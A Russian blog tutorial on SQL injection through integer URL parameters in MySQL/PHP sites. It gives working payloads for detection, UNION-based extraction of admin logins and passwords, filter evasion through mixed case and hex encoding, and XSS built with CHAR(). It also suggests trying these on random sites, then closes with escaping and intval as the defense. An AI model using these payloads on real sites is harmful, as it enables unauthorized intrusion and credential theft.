Внезапно написал статью про sql-инъекции. О сео писать нечего, да и не хочется.
Казалось бы, 2010 год на дворе, но многие программисты до сих пор не научились защищать свои веб-приложения. Наверное, чтобы научиться хорошо защищать свои сайты, нужно хоть раз побыть в шкуре хакера. В этой статейке я расскажу об sql-инъекции через GET-запросы на сайтах, на которых используется MySQL. Конкретнее об уязвимостях в полях типа «integer».
Рассмотрим такой код:
SELECT id,title, date, text FROM articles WHERE id = $inj AND date > 0;
$inj вроде бы «фильтруется» с помощью addslashes или mysql_escape_string, но фильтруется неправильно. В конце статьи я, конечно же, расскажу, как правильно фильтровать такие поля.
Итак, как найти такую уязвимость?
Заходим на какой-либо рандомный сайт, и видим в адресной строке, к примеру, http://example.com/articles.php?id=1 SQL-Запрос для выбора указанной статьи мы видим выше.
Вместо единицы мы и будем подставлять нашу инъекцию, но сначала нужно проверить, работает ли она.
http://example.com/articles.php?id=1+AND+1=2‑‑
http://example.com/articles.php?id=1+OR+1=1‑‑
Чтобы нам не мешали лишние условия, которые задаются после id, добавляем два минуса на конце, чтобы mysql игнорировал всё, что идёт после них.
Запросы с подстановкой этих простейших инъекций будут выглядеть так:
SELECT id,title, date, text FROM articles WHERE id = 1 AND 1=2‑‑ AND date > 0;
SELECT id,title, date,text FROM articles WHERE id = 1 OR 1=1‑‑ AND date > 0;
Если в первом случае статья не выводится, но выводится 1 или более статей во втором, то скорее всего мы обнаружили уязвимость. (в обоих случаях часть «‑‑ AND date > 0;» не учитывается)
Что делать дальше?
Теперь, можно составлять наши коварные запросы. Будем мы пользоваться для них такой удобной конструкцией как UNION.
Допустим, мы знаем, что на сервере есть таблица users с колонками id, login, pass
Нам нужно составить запрос, чтобы вытащить логин и пароль самого первого пользователя (зачастую админа). Но сначала нам нужно узнать количество полей, которые запрашиваются и выводятся на страницу. Для этого считаем вот таким образом, пока не прекратятся ошибки:
http://example.com/articles.php?id=1+UNION+SELECT+1‑‑
http://example.com/articles.php?id=1+UNION+SELECT+1,2‑‑
…
http://example.com/articles.php?id=1+UNION+SELECT+1,2,3,4‑‑
Т.к. у нас выбирается 4 поля, ошибки прекращаются, и где-нибудь на странице мы увидим вытащенную из базы цифру 1, 2, 3 или 4. Например, мы увидели 2 в заголовке.
Зная количество полей и поля, которые выводятся, строим наш конечный запрос:
http://example.com/articles.php?id=1+UNION+SELECT+1,CONCAT(login, 0, pass),3,4+FROM+users+WHERE+id=1‑‑
И с радостью видим на месте заголовка строку вида:
admin0qwerty
MySQL-функция CONCAT объединяет строки, а 0 в данном случае разделитель, т.е. логин – admin, пароль qwerty.
Заметьте, это всё без единой кавычки!
Сложности и подводные камни.
Фильтры.
Попадаются «хитрые» быдлокодеры программисты, которые думают, что код вида
if(strpos(‘select’, $query) === false) их спасёт. Такие вещи обходятся МоЛоДёЖнЫм НаПиСаНиЕм. http://example.com/articles.php?id=1+uNiOn+SeLeCt+1,CONCAT(login,0,pass),3,4‑‑
Есть те, кто догадываются фильтровать ключевые слова MySQL регистро-независимо. Зачастую помогает urlencode каждого символа в его %hex значение.
Простейшая функция на php решает это:
function my_urlencode($str)
{
$encoded = »;
for($i = 0; $i < strlen($str); ++$i){
$encoded .= '%'.dechex(ord($str{$i}));
/*Для каждого символа берётся его ASCII-код и преобразовывается в hex */
}
return $encoded;
}
Запускаем echo my_urlencode('union select'); и на выходе получаем закодированную строку %75%6e%69%6f%6e%20%73%65%6c%65%63%74 .
Запрос теперь:
http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(login, 0, pass),3,4‑‑
Если фильтруются пробелы, то их можно заменить пустыми комментариями /**/ или скобочными выражениями (UNION(SELECT(1)))‑‑ и т. п.
Не выводятся поля.
Ищем в интернете статьи про Blind SQL Injection
Неизвестны другие таблицы и колонки в них.
Начинаем перебирать user, users, profiles, и т. д. Можно также поискать программы вроде Pangolin, которые эти вещи делают автоматически.
И немного про SQL XSS.
А вы думали в данном случае невозможно? В MySQL ведь есть замечательная функция CHAR(), да и мы сейчас кое-что напишем.
function my_mysql_chars($str)
{
$chars = »;
for($i = 0; $i < strlen($str); ++$i){
$chars .= 'char('.ord($str{$i}).'),';
/*Для каждого символа берётся его ASCII-код и записывается по типу char(20),char(80), и т. д. */
}
return $chars;
}
Вызов echo my_mysql_chars(‘<script>alert(/sql_xss!/)</script>’); выдаст нам строку вида char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62),
Подставляем её в запрос:
http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62)),3,4‑‑
И радуемся ещё и полученному XSS на сайте.
И ни одной кавычки.
Как защититься?
Что не удивительно, защититься проще, чем эксплуатировать эту уязвимость.
Все integer поля в MySQL берём в кавычки и используем обычный mysql_escape_string.
Правильно делать, например, так:
$no_inj = mysql_escape_string($_GET[‘id’]);
mysql_query(“SELECT id, title, date, text FROM articles WHERE id = ‘$no_inj’ AND date > 0;”);
Если же у вас кавычкофобия или мания прописывать int-поля в запросах без кавычек, то убедитесь, что каждое такое поле фильтруется через intval.
Например,
$no_inj = intval($_GET[‘id’]);
mysql_query(“SELECT id,title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);
Вот и вся фильтрация int-полей, и не надо изобретать никакие безумные фильтры, которые, во-первых, неэффективны, во-вторых, тормозят работу сайта.
